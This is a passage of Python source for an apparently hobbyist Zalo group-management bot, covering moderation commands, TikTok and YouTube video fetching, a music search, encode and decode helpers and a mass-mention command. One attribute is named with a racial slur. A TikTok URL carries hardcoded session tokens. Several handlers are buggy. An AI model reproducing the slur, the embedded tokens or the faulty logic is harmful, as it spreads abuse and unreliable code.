				valid_features = DEFAULT_FEATURES
				suggestions = [feat for feat in valid_features if input_feat in feat]
				if suggestions:
					return f"Có phải bạn muốn dùng một trong các chức năng sau: {', '.join(suggestions)}?"
				return "Không tìm thấy chức năng tương tự."

			valid_features = DEFAULT_FEATURES


			if len(cmd_parts) < 2:
				resp.append("📜 **Hướng dẫn sử dụng bot quản lý group:**")
				resp.append(f"• `{self.prefix}group help`: Hiển thị hướng dẫn.")
				resp.append(f"• `{self.prefix}group list <features/admin/bl/wl/mode>`: Xem trạng thái.")
				resp.append(f"• `{self.prefix}group feature <tên_chức_năng> <on/off>`: Bật/tắt chức năng.")
				resp.append(f"• `{self.prefix}group mode <all/only_key/only_admin>`: Đổi chế độ bot.")
				resp.append(f"• `{self.prefix}group banned <add/remove/list> [từ]`: Quản lý từ cấm.")
				resp.append(f"• `{self.prefix}group bl <add/remove/list>`: Quản lý blacklist.")
				resp.append(f"• `{self.prefix}group wl <add/remove/list>`: Quản lý whitelist.")
				resp.append(f"• `{self.prefix}group admin <add/remove/list>`: Quản lý admin.")
			else:
				cmd = cmd_parts[1]
				try:
					# Hiển thị hướng dẫn
					if cmd in ['help', 'guide']:
						resp.append("📜 **Hướng dẫn sử dụng bot quản lý group:**")
						resp.append(f"• `{self.prefix}group help`: Hiển thị hướng dẫn.")
						resp.append(f"• `{self.prefix}group list <features/admin/bl/wl/mode>`: Xem trạng thái.")
						resp.append(f"• `{self.prefix}group feature <tên_chức_năng> <on/off>`: Bật/tắt chức năng.")
						resp.append(f"• `{self.prefix}group mode <all/only_key/only_admin>`: Đổi chế độ bot.")
						resp.append(f"• `{self.prefix}group banned <add/remove/list> [từ]`: Quản lý từ cấm.")
						resp.append(f"• `{self.prefix}group bl <add/remove/list>`: Quản lý blacklist.")
						resp.append(f"• `{self.prefix}group wl <add/remove/list>`: Quản lý whitelist.")
						resp.append(f"• `{self.prefix}group admin <add/remove/list>`: Quản lý admin.")

					# Lệnh list
					elif cmd == 'list':
						if len(cmd_parts) == 2 or cmd_parts[2] == 'features':
							feats = self.db.fetch_features(thread_id)
							resp.append("📊 **Danh sách chức năng:**")
							for name, flag in feats:
								if name in feature_names:
									resp.append(f"• {feature_names[name]}: {'Bật ✅' if flag else 'Tắt ❌'}")
								else:
									resp.append(f"• {name}: {'Bật ✅' if flag else 'Tắt ❌'}")
						elif cmd_parts[2] == 'admin':
							admins = self.db.fetch_admins(thread_id)
							resp.append("👑 **Danh sách admin group trong group này.**")
							if not admins:
								resp.append("Danh sách admin đang trống.")
							for idx, i in enumerate(sorted(admins), start=1):
								info = self.fetchUserInfo(i)
								info = info.unchanged_profiles or info.changed_profiles
								info = info[str(i)]      
								userName = info.zaloName
								resp.append(f"{idx}. 🔹 {userName} (ID: {i})")
						elif cmd_parts[2] == 'bl':
							bl = self.db.fetch_blacklist(thread_id)
							resp.append("🚫 **Danh sách blacklist trong group này.**")
							if not bl:
								resp.append("Danh sách BlackList đang trống.")
							for idx, i in enumerate(sorted(bl), start=1):
								info = self.fetchUserInfo(i)
								info = info.unchanged_profiles or info.changed_profiles
								info = info[str(i)]      
								userName = info.zaloName
								resp.append(f"{idx}. 🔹 {userName} (ID: {i})")
						elif cmd_parts[2] == 'wl':
							wl = self.db.fetch_whitelist(thread_id)
							resp.append("🛡️ **Danh sách whitelist trong group này:**")
							if not wl:
								resp.append("Danh sách Whilelist đang trống.")
							for idx, i in enumerate(sorted(wl), start=1):
								info = self.fetchUserInfo(i)
								info = info.unchanged_profiles or info.changed_profiles
								info = info[str(i)]      
								userName = info.zaloName
								resp.append(f"{idx}. 🔹 {userName} (ID: {i})")
						elif cmd_parts[2] == 'mode':
							m = self.db.fetch_mode(thread_id)
							mode_descriptions = {
								"all": "Cho phép tất cả người dùng tương tác với bot",
								"only_key": "Chỉ key được tương tác với bot",
								"only_admin": "Chỉ admin bot được tương tác với bot"
							}
							resp.append(f"⚙️ **Chế độ hiện tại:** {mode_descriptions.get(m, 'Không xác định')}")
						elif cmd_parts[2] == 'banned':
							banned = self.db.fetch_banned_words(thread_id)
							resp.append("🔇 **Danh sách từ cấm:**")
							resp += [f"- {w}" for w in banned] or ["Trống"]
						else:
							resp.append(f"❌ Không hỗ trợ `list {cmd_parts[2]}`. Chỉ hỗ trợ `<features/admin/bl/wl/mode>`.")

					# Quản lý admin
					elif cmd.lower() == 'pending':
						if len(cmd_parts) < 3:
							resp.append(f"❌ Thiếu hành động. Cú pháp: `{self.prefix}group pending <allow/deny>`")
						else:
							action = cmd_parts[2]
							data = self.viewGroupPending(thread_id)
							if data.users == None:
								resp.append(f"❌ Không Có Members Chờ Duyệt")
							else:
								user = [item.get("uid") for item in data.users]
								if action.lower() == 'allow':
									content = self.handleGroupPending(members=user, groupId=thread_id, isApprove=True)
									resp.append(f"✅ Đã Duyệt Tất Cả Thành Viên Chờ Duyệt Thành Công")
								elif action.lower() == 'deny':
									content = self.handleGroupPending(members=user, groupId=thread_id, isApprove=False)
									# print(content)
									resp.append(f"✅ Đã Từ Chối Tất Cả Thành Viên Chờ Duyệt Thành Công")
								else:
									resp.append(f"❌ Cú pháp không hợp lệ vui lòng thử `{self.prefix}group pending <allow/deny>`")
					elif cmd == 'admin':
						if len(cmd_parts) < 3:
							resp.append(f"❌ Thiếu hành động. Cú pháp: `{self.prefix}group admin <add/remove/list>`")
						else:
							action = cmd_parts[2]
							if action == 'list':
								admins = self.db.fetch_admins(thread_id)
								resp.append("👑 **Danh sách admin:**")
								if not admins:
									resp.append("Danh sách admin đang trống.")
								for idx, i in enumerate(sorted(admins), start=1):
									info = self.fetchUserInfo(i)
									info = info.unchanged_profiles or info.changed_profiles
									info = info[str(i)]      
									userName = info.zaloName
									resp.append(f"{idx}. 🔹 {userName} (ID: {i})")
							else:
								ids = []
								if message_object.quote:
									ids.append(str(message_object.quote['ownerId']))
								if message_object.mentions:
									ids.extend([m['uid'] for m in message_object.mentions])
								if message_object.quote and message_object.mentions:
									ids.remove(str(message_object.quote['ownerId']))
								if not ids:
									resp.append("⚠️ Chưa xác định người dùng.")
								else:
									for uid in set(ids):
										if action == 'add':
											self.db.add_admin(thread_id, uid)
											resp.append(f"✅ Đã thêm admin: {uid}")
										else:
											self.db.remove_admin(thread_id, uid)
											resp.append(f"🗑️ Đã xóa admin: {uid}")

					# Quản lý blacklist/whitelist
					elif cmd in ['bl', 'wl']:
						list_type = 'blacklist' if cmd == 'bl' else 'whitelist'
						list_name = 'Blacklist' if cmd == 'bl' else 'Whitelist'
						if len(cmd_parts) < 3:
							resp.append(f"❌ Thiếu hành động. Cú pháp: `{self.prefix}group {cmd} <add/remove/list>`")
						else:
							action = cmd_parts[2]
							if action == 'list':
								lst = self.db.fetch_blacklist(thread_id) if cmd == 'bl' else self.db.fetch_whitelist(thread_id)
								resp.append(f"**{list_name} hiện tại trong group này:**")
								if not lst:
									resp.append("Whitelist đang trống.")
								for idx, i in enumerate(sorted(lst), start=1):
									info = self.fetchUserInfo(i)
									info = info.unchanged_profiles or info.changed_profiles
									info = info[str(i)]      
									userName = info.zaloName
									resp.append(f"{idx}. 🔹 {userName} (ID: {i})")
							else:
								ids = []
								if message_object.quote:
									ids.append(str(message_object.quote['ownerId']))
								if message_object.mentions:
									ids.extend([m['uid'] for m in message_object.mentions])
								if message_object.quote and message_object.mentions:
									ids.remove(str(message_object.quote['ownerId']))
								if not ids:
									resp.append("⚠️ Chưa xác định người dùng.")
								else:
									for uid in set(ids):
										if cmd == 'bl':
											if action == 'add':
												self.db.add_blacklist(thread_id, uid)
												resp.append(f"🚫 Đã thêm vào blacklist: {uid}")
												self.blockUsersInGroup(members=uid, groupId=thread_id)
											else:
												self.db.remove_blacklist(thread_id, uid)
												resp.append(f"✔️ Đã xóa khỏi blacklist: {uid}")
										else:
											if action == 'add':
												self.db.add_whitelist(thread_id, uid)
												resp.append(f"🛡️ Đã thêm vào whitelist: {uid}")
											else:
												self.db.remove_whitelist(thread_id, uid)
												resp.append(f"❎ Đã xóa khỏi whitelist: {uid}")

					# Quản lý chế độ
					elif cmd == 'mode':
						if len(cmd_parts) < 3:
							resp.append(f"❌ Thiếu chế độ. Cú pháp: `{self.prefix}group mode <all/only_key/only_admin>`")
						else:
							m = cmd_parts[2]
							if m in ['all', 'only_key', 'only_admin']:
								self.db.set_mode(thread_id, m)
								mode_descriptions = {
									"all": "Cho phép tất cả người dùng tương tác",
									"only_key": "Chỉ key được tương tác",
									"only_admin": "Chỉ admin bot được tương tác"
								}
								resp.append(f"🔄 **Chế độ đã được đặt:** {mode_descriptions[m]}")
							else:
								resp.append(f"❌ Chế độ không hợp lệ. Chỉ hỗ trợ `<all/only_key/only_admin>`.")

					# Quản lý từ cấm
					elif cmd == 'banned':
						if len(cmd_parts) < 3:
							resp.append(f"❌ Thiếu hành động. Cú pháp: `{self.prefix}group banned <add/remove/list> <từ>`")
						else:
							action = cmd_parts[2]
							if action == 'list':
								banned = self.db.fetch_banned_words(thread_id)
								resp.append("🔇 **Danh sách từ cấm:**")
								resp += [f"- {w}" for w in banned] or ["Trống"]
							else:
								if len(cmd_parts) < 4:
									resp.append("⚠️ Thiếu từ để thêm/xóa.")
								else:
									w = cmd_parts[:3]
									if action == 'add':
										self.db.add_banned_word(thread_id, w)
										resp.append(f"🔇 Đã thêm '{w}' vào danh sách từ cấm.")
									else:
										self.db.remove_banned_word(thread_id, w)
										resp.append(f"🗑️ Đã xóa '{w}' khỏi danh sách từ cấm.")

					# Quản lý tính năng
					elif cmd == 'feature':
						if len(cmd_parts) < 3:
							resp.append(f"❌ Thiếu tham số. Cú pháp: `{self.prefix}group feature <tên_chức_năng> <on/off>` hoặc `{self.prefix}group feature all <on/off>`")
						else:
							feat = cmd_parts[2]
							if feat == 'all':
								if len(cmd_parts) < 4:
									resp.append(f"❌ Thiếu tham số. Cú pháp: `{self.prefix}group feature all <on/off>`")
								else:
									on = (cmd_parts[3] == 'on')
									self.db.set_all_features(thread_id, on)
									status = 'Bật ✅' if on else 'Tắt ❌'
									resp.append(f"✨ Tất cả chức năng đã được **{status}**.")
							else:
								if feat not in valid_features:
									resp.append(f"❌ Chức năng '{feat}' không tồn tại.")
									resp.append(suggest_features(feat))
								else:
									if len(cmd_parts) < 4:
										resp.append(f"❌ Thiếu tham số 'on' hoặc 'off'. Cú pháp: `{self.prefix}group feature {feat} <on/off>`")
									else:
										on = (cmd_parts[3] == 'on')
										self.db.set_feature(thread_id, feat, on)
										status = 'Bật ✅' if on else 'Tắt ❌'
										resp.append(f"✨ Chức năng **{feature_names.get(feat, feat)}** đã được **{status}**.")



					else:
						resp.append(f"❌ Không hiểu lệnh '{cmd}'. Gõ `{self.prefix}group help` để xem hướng dẫn.")
				except Exception as e:
					resp.append(f"❗ **Lỗi:** {e}")
			self.replyMessage(Message(text="\n".join(resp)), message_object, thread_id, thread_type)
		elif message == self.prefix + f"tiktok random":

			def fetch_tiktok_videos(url):
				response = self._session.get(url)
				data = response.json()
				print(data.get('itemList', []))
				return data.get('itemList', [])


			def main():
				url = f"https://www.tiktok.com/api/preload/item_list/?WebIdLastTime=1742610145&aid=1988&app_language=vi-VN&app_name=tiktok_web&browser_language=vi&browser_name=Mozilla&browser_online=true&browser_platform=Linux%20armv81&browser_version=5.0%20%28X11%3B%20Linux%20x86_64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F132.0.0.0%20Safari%2F537.36&channel=tiktok_web&clientABVersions=70508271%2C73406215%2C73658737%2C73720540%2C73737112%2C73755373%2C73759868%2C73787022%2C73810365%2C73810951%2C73811265%2C73812969%2C73814769%2C73815488%2C73815490%2C73841160%2C73849115%2C73858886%2C73858984%2C73867894%2C70405643%2C71057832%2C71200802%2C73004916%2C73171280%2C73208420%2C73574728%2C73628214&cookie_enabled=true&count=3&coverFormat=2&cpu_core_number=8&dark_mode=false&data_collection_enabled=true&day_of_week=0&device_id=7484453551143339528&device_platform=web_pc&focus_state=true&from_page=fyp&history_len=3&isNonPersonalized=false&is_fullscreen=false&is_page_visible=true&language=vi-VN&odinId=7484453369743442951&os=linux&priority_region=&referer=&region=VN&screen_height=918&screen_width=424&time_of_day=20&tz_name=Asia%2FSaigon&user_is_login=false&vv_count=14&vv_count_fyp=14&webcast_language=vi-VN&msToken=mxTQIV8xqILqYeP4gAecbVYzz2TKG-truGD-KxfvsQTrZ6C2_BGWbwIb6VOFgZszCV5ter06iPvw7TOHZkeh88vH_bzJcwdUeCmN8OF-S1QL1vuUw7YW0goS9YQFwOpPKZ45_PbRKjrNnG81yYxppkA=&X-Bogus=DFSzswVOFGvANCp7CGyE6PYRRlEB&X-Gnarly=MR59txYKAP9uvw6Qm-D3Su79i8Hj3MVZ7LicvvFkiz5PwwQlOwrCgzW03VyoDPoqoF2UhxlAyn2kPnYfV1WYLICOI/-4wiktvuFXcj1jxbk0UUDMvDjd1zEo4uu4tDpX8K81q1o/pzGy90dZoIU98VWz4DOvdOXUjYm/bWtD8Q9kPRBNAe-WEcxF8TpNR2hz58cg/rhm94eUphRgnT3LtWf4/3rRgfEc9Ckk7amPrddK5JAVt-Mzf80BOUrJCM0NSMPNV81jvehE"
				videos = fetch_tiktok_videos(url)
				selected_video = videos[0]
				return selected_video

			selected_video = main()   
			videoUrl = f"https://tikwm.com/video/media/play/{selected_video.get('video', {}).get('id')}.mp4"
			uu = videoUrl
			duration = int(selected_video.get("video", {}).get("duration")) * 1000
			msg = f"{selected_video.get('author', {}).get('nickname')}\n\n{selected_video.get('desc')}\n{selected_video.get('id')}\n\nReaction /-heart to next video\n/-strong to next and undo this video"
			suc = self.sendRemoteVideo(videoUrl=uu, message=Message(text=str(msg)), height=selected_video.get("video", {}).get("height"), width=selected_video.get("video", {}).get("width"), duration=duration, thumbnailUrl=selected_video.get("video", {}).get("cover"), thread_id=thread_id, thread_type=thread_type, ttl=3600000)
			self.stupid_nigga.append(suc.msgId)

		# elif message == "0":
			# style = MessageStyle(offset=0, length=7, style='color', color="ff0000")
			# self.replyMessage(Message(text="Tahn dz", style=style), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"scl"):
			if message.isdigit():
				message_content = message
			else:
				message_content = message.replace(f"@{self.myName}", "").strip()
			try:
				self.handle_scl_command(message_content, message_object, thread_id, thread_type, author_id)
			except Exception as e:
				print(f"Error: {e}")
		elif message.startswith(self.prefix + f"nct"):
			message = message.replace(self.prefix + "nct", "").strip()
			styles = []
			styles.append(MessageStyle(offset=0, length=1000, style='font', size='13', auto_format=False))
			styles.append(MessageStyle(offset=0, length=1000, style='color', color='ced6f0', auto_format=False))
			style = MultiMsgStyle(styles)
			if message == "":
				self.replyMessage(Message(text=f"• dùng {self.prefix}nct [tên bài hát]", style=style), message_object, thread_id, thread_type)
			else:
				results = search_music(message)
				print(results)
				if not results["data"]["items"]:
					self.replyMessage(Message(text="• No results found", style=style), message_object, thread_id, thread_type)
					return
				content = ""
				for i, song in enumerate(results["data"]["items"], 1):
					content += f"{i}. {song['title']}\n"
				self.replyMessage(Message(text=content, style=style), message_object, thread_id, thread_type, ttl=30000)
				self.replyMessage(Message(text='• Reply để chọn bài hát hoặc chọn 0 để thoát', style=style), message_object, thread_id, thread_type, ttl=30000)
				self.next_step_nct[author_id] = 'wait_select'
				self.user_data_nct[author_id] = results
		elif author_id in self.next_step_nct and self.next_step_nct[author_id] == 'wait_select':
			styles = []
			styles.append(MessageStyle(offset=0, length=1000, style='font', size='13', auto_format=False))
			styles.append(MessageStyle(offset=0, length=1000, style='color', color='ced6f0', auto_format=False))
			style = MultiMsgStyle(styles)

			message = message.replace(f"@{self.myName}", "").strip()
			match = re.search(r'\d+', message)
			if match:
				if int(match.group()) == 0:
					self.next_step_nct.pop(author_id, None)
					self.user_data_nct.pop(author_id, None)
					self.replyMessage(Message(text="• Đã thoát trình chọn nhạc", style=style), message_object, thread_id, thread_type, ttl=30000)
				else:
					choice = int(match.group())
			else:
				return

			try:
				self.replyMessage(Message(text='• Watinggg', style=style), message_object, thread_id, thread_type,ttl=30000)
				self.next_step_nct.pop(author_id, None)
				if 1 <= choice <= len(self.user_data_nct[author_id]["data"]["items"]):
					selected_song = self.user_data_nct[author_id]["data"]["items"][choice-1]
					self.user_data_nct.pop(author_id, None)
				song_info = get_song_info(selected_song)
				print(selected_song["songLink"])
				print(song_info)
				print(requests_song(selected_song))
				if song_info and song_info["streamUrl"]:
					url = self.catbox(url=song_info['streamUrl'], thread_id=thread_id, thread_type=thread_type)
					if url:
						self.sendImage(imagelink=song_info['thumbnail'], thread_id=thread_id, thread_type=thread_type, ttl=21600000, message=Message(text=f"• Song Name: {song_info['title']}\n• Singer Name: {song_info['artistsNames']}"))
						self.sendRemoteVoice(url, thread_id, thread_type, ttl=21600000)
					# print(f"Tên bài hát: {song_info['title']}")
					# print(f"Ca sĩ: {song_info['artistsNames']}")
					# print(f"Ảnh thumbnail: {song_info['thumbnail']}")
					# print(f"Stream URL: {song_info['streamUrl']}")
				else:
					# print("Không thể lấy được thông tin stream của bài hát!")
					self.replyMessage(Message(text="Không thể lấy được thông tin stream của bài hát!", style=style), message_object, thread_id, thread_type,ttl=30000)
			except Exception as e:
				traceback.print_exc()
		elif author_id in self.next_step and self.next_step[author_id] == 'wait_select':
			message_content = message.replace(f"@{self.myName}", "")
			self.handle_selection(message_content, message_object, thread_id, thread_type, author_id)
		elif message == "wpdjwodkwldoxmwodlwldoekridklwdjdn293838@)₫(₫/#0_":
			print(self._decode(" "))
		elif message.startswith(self.prefix + f"dec"):
			noidungga = message.replace(self.prefix + f"dec", "").strip().split(';')
			params = str(noidungga[0])
			if "%" in params:
				params = urllib.parse.unquote(params)
				print(params)
			key = str(noidungga[1])
			if key == None or key == '':
				db = self._decode(params=params)
			else:
				db = self._decode(params=params, key=key)
			print(db)
			self.replyMessage(Message(text=str(db)), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"enc"):
			noidungga = message.replace(self.prefix + f"enc", "").strip().split(';')
			params = str(noidungga[0])
			key = str(noidungga[1])
			if key == None or key == '':
				db = self._encode(params=params)
			else:
				db = self._encode(params=params, key=key)
			self.replyMessage(Message(text=str(db)), message_object, thread_id=thread_id, thread_type=thread_type)

		elif message.startswith(self.prefix + f"yt"):
			yt_url = message.replace(self.prefix + f"yt", "").strip()
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			nah = self.fetchYtVideo(yt_url)
			self.replyMessage(Message(text="Chờ xíu...", style=style_error), message_object, thread_id, thread_type, ttl=60000)
			if nah:
				try:
					msg = "[ FROM YOUTUBE ]\n" + nah.get("title")
					print(nah.get("videoUrl"))
					try:
						url = asyncio.run(self.uploadFileAsync(file_url=nah.get("videoUrl"), thread_id=thread_id, thread_type=thread_type))
					except Exception as e:
						traceback.print_exc()
					print(url)
					self.sendRemoteVideo(videoUrl=url, message=Message(text=str(msg)), height=nah.get("height"), width=nah.get("width"), duration=nah.get("duration"), thumbnailUrl=nah.get("thumbnail"), thread_id=thread_id, thread_type=thread_type, ttl=21600000)
				except Exception as e:
					self.replyMessage(Message(text=f"Bug rồi: {e}", style=style_error), message_object, thread_id, thread_type)

			else:
				self.replyMessage(Message(text="Link không hợp lệ", style=style_error), message_object, thread_id, thread_type)


		elif message == self.prefix + f"infbot":
			text = "TahnZaloBot\nI'm sad and no love 💔\n─────────────────\nABOUT ME ⬤ ⬤ ⬤\n\nFacts About Me:\n• obsessed with python\n• i love gaming\n• my name is tahn\n\nMy IP:  ████████\n─────────────────\nHOSTING INFO\n\n• OS: /Linux  aarch64\n• CPU:  (4) @ 2025GHz / 2025.6GHz\n• Swap: 1GB / 2GB 62.3%\n• Memory: 2GB / 4GB 65.6%\n• Encoding: utf-8\n• Python version: 3.11.9\n\nBot Uptime:\t[ 08:46:26 ]"
			tahndz = []
			tahndz.append(MessageStyle(offset=0, size="17", length=11, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=0, length=11, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=12, length=23, style='color', color="a6adc8", auto_format=False))
			tahndz.append(MessageStyle(offset=12, length=23, size="12", style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=35, length=18, size="18", style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=35, length=18, style='color', color="585b70", auto_format=False))
			tahndz.append(MessageStyle(offset=53, length=9, size="11", style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=53, length=9, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=62, length=2, style='color', color="f38ba8", auto_format=False))
			tahndz.append(MessageStyle(offset=64, length=2, style='color', color="a6e3a1", auto_format=False))
			tahndz.append(MessageStyle(offset=66, length=2, style='color', color="f9e2af", auto_format=False))
			tahndz.append(MessageStyle(offset=69, length=15, style='color', color="cddef4", auto_format=False))
			tahndz.append(MessageStyle(offset=69, length=15, size="14", style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=69, length=15, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=69, length=15, style='underline', auto_format=False))
			tahndz.append(MessageStyle(offset=69, length=15, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=85, length=1, style='color', color="cddef4", auto_format=False))
			tahndz.append(MessageStyle(offset=108, length=1, style='color', color="cddef4", auto_format=False))
			tahndz.append(MessageStyle(offset=124, length=1, style='color', color="cddef4", auto_format=False))
			tahndz.append(MessageStyle(offset=85, length=22, size="13", style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=108, length=15, size="13", style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=92, length=23, style='color', color="cddef4", auto_format=False))
			tahndz.append(MessageStyle(offset=107, length=8, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=117, length=15, style='color', color="cddef4", auto_format=False))
			style = MultiMsgStyle(tahndz)
			self.replyMessage(Message(text=text, style=style), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message == self.prefix + "nah":
			db = "VrxxZaloBot\n🍕 Eating' Pizza\n─────────────────\nABOUT ME ⬤ ⬤ ⬤\n\nFacts About Me:\n• obsessed with python\n• i love gaming\n• my name is vrxx vexx\n\nMy IP:  ████████\n─────────────────\nHOSTING INFO\n\n• OS: /Linux  aarch64\n• CPU:  (4) @ 2025GHz / 2025.6GHz\n• Swap: 1GB / 2GB 62.3%\n• Memory: 2GB / 4GB 65.6%\n• Encoding: utf-8\n• Python version: 3.11.9\n\nBot Uptime:\t[ 08:46:26 ]"
			tahndz = []
			tahndz.append(MessageStyle(offset=0, size="17", length=11, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=0, length=11, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=12, length=16, style='color', color='a6adc8', auto_format=False))
			tahndz.append(MessageStyle(offset=12, size="12", length=16, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=28, size="18", length=18, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=28, length=18, style='color', color='585b70', auto_format=False))
			tahndz.append(MessageStyle(offset=46, size="11", length=9, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=46, length=9, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=56, length=2, style='color', color='f38ba8', auto_format=False))
			tahndz.append(MessageStyle(offset=58, length=2, style='color', color='a6e3a1', auto_format=False))
			tahndz.append(MessageStyle(offset=60, length=2, style='color', color='f9e2af', auto_format=False))
			tahndz.append(MessageStyle(offset=63, length=15, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=63, length=15, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=63, length=15, style='underline', auto_format=False))
			tahndz.append(MessageStyle(offset=63, size="14", length=15, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=79, length=1, style='color', color='cdd6f4*', auto_format=False))
			tahndz.append(MessageStyle(offset=102, length=1, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=118, length=1, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=79, size="13", length=22, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=102, size="13", length=15, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=118, size="13", length=22, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=79, length=22, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=102, length=15, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=118, length=22, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=95, length=6, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=111, length=6, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=112, length=4, style='underline', auto_format=False))
			tahndz.append(MessageStyle(offset=131, length=4, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=131, length=4, style='strike', auto_format=False))
			tahndz.append(MessageStyle(offset=142, size="13", length=16, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=142, length=7, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=150, length=8, style='color', color='222327', auto_format=False))
			tahndz.append(MessageStyle(offset=150, size="12", length=8, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=177, size="11", length=12, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=177, length=12, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=191, size="12", length=149, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=341, size="11", length=10, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=341, length=10, style='bold', auto_format=False))
			tahndz.append(MessageStyle(offset=158, size="18", length=18, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=158, length=18, style='color', color='585b70', auto_format=False))
			tahndz.append(MessageStyle(offset=191, length=5, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=196, length=17, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=213, length=6, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=219, length=28, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=247, length=7, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=254, length=17, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=271, length=9, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=280, length=17, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=297, length=11, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=308, length=7, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=315, length=17, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=331, length=8, style='color', color='bac2de', auto_format=False))
			tahndz.append(MessageStyle(offset=341, size="13", length=24, style='font', auto_format=False))
			tahndz.append(MessageStyle(offset=341, length=11, style='color', color='cdd6f4', auto_format=False))
			tahndz.append(MessageStyle(offset=351, length=14, style='color', color='bac2de', auto_format=False))
			style = MultiMsgStyle(tahndz)
			self.replyMessage(Message(text=db, style=style), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message == f'{self.prefix}dgcc':
			print(self.addUsersToGroupV1(user_ids="7918922745620137867", groupId=thread_id))
		elif message.startswith(self.prefix + f"gif"):
			gif_url = message.replace(self.prefix + f"gif", "").strip()
			try:
				gif_path = "ditmemay.gif"
				response = self._session.get(gif_url, stream=True)
				if response.status_code == 200:
					with open(gif_path, 'wb') as file:
						for chunk in response.iter_content(chunk_size=8192):
							file.write(chunk)
				else:
					db = f"Failed to download GIF. Status code: {response.status_code}"
					self.replyMessage(Message(text=db), message_object, thread_id=thread_id, thread_type=thread_type) 
				self.sendLocalGif(gifPath=gif_path, thumbnailUrl=gif_url, thread_id=thread_id, thread_type=thread_type)
				os.remove(gif_path)
			except Exception as e:
				print(f"Error: {e}")
		elif message.startswith(self.prefix + f"4"):
			noidungga = message.replace(self.prefix + f"4", "")
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			mentions = []
			group = self.fetchGroupInfo(thread_id)
			group_info = group.gridInfoMap[thread_id]      
			mem_ver_list = group_info['memVerList']
			cleaned_list = [item.replace('_0', '') for item in mem_ver_list]

			for user_id in cleaned_list:
				mentions.append(Mention(user_id, offset=0, length=3000, auto_format=False))
			cc = MultiMention(mentions)
			self.replyMessage(Message(text=noidungga, mention=cc), thread_id=thread_id, thread_type=thread_type, replyMsg=message_object)
		# elif message == self.prefix + f"block":
			# print(self.blockUsersInGroup(members='847453062215452332', groupId=thread_id))
		elif message == self.prefix + f"3":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if self.selid != author_id:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			msgId = message_object.msgId
			# msg_data = []
			data = self.getRecentGroup(groupId=thread_id, src=3)
			msg_data = [{"globalMsgId": msg['msgId'], "ownerId": str(self.uid) if msg['uidFrom'] == "0" else msg['uidFrom'], "cliMsgId": msg['cliMsgId'], "destId": thread_id} for msg in data['groupMsgs']]
					
			print(msg_data)
			print(msgId)
			print(len(msg_data))
